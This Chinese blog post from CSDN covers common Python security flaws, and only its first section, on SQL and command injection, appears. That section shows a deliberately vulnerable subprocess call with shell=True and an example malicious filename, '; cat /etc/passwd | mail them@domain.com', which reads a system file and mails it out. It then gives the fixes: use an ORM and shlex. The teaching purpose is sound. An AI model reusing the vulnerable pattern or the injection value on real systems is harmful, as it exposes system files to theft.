10个常见安全漏洞的Python解决方法

本文列举了10个常见的Python安全漏洞,包括输入注入、解析XML、assert语句误用、时序攻击等,并提供了相应的解决方法。例如,使用ORM避免SQL注入,使用defusedxml防止XML解析攻击,使用tempfile模块处理临时文件,避免pickle和yaml.load反序列化风险等。保持Python和其依赖项更新是防止安全问题的关键。
摘要由CSDN通过智能技术生成

关注「实验楼」,每天分享一个项目教程   

用Python给你的项目打满补丁。

正文共:3939 字 

预计阅读时间:10 分钟

1.输入注入

注入攻击非常广泛而且很常见,注入有很多种类。它们可以影响语言,框架和环境。

SQL注入是直接编写SQL查询,而不使用ORM并将字符串文字与变量混合。“Escaping quotes”被认为是一种修复,但事实并非如此。 熟悉SQL注入可能发生在备忘单上的所有复杂方式。

命令注入可以在任何时候使用popen,subprocess,os.system调用一个进程并从变量中获取参数。 当调用本地命令时,有人可能会恶意设置某些值。

看一下这个简单的脚本[credit]。 你可以使用用户提供的文件名称调用子进程:

import subprocess

def transcode_file(request, filename):
command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
subprocess.call(command, shell=True) # a bad idea!

攻击者将filename的值设置为“; cat / etc / passwd | mail them@domain.com或者其他同样危险的东西。

解决方法:

如果使用的是Web框架附带的实用程序,请对输入进行清理。 除非你有充分的理由,否则不要手动构建SQL查询。 大多数ORM具有内置清理方法。

对于shell,请使用shlex模块正确地转义输入。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值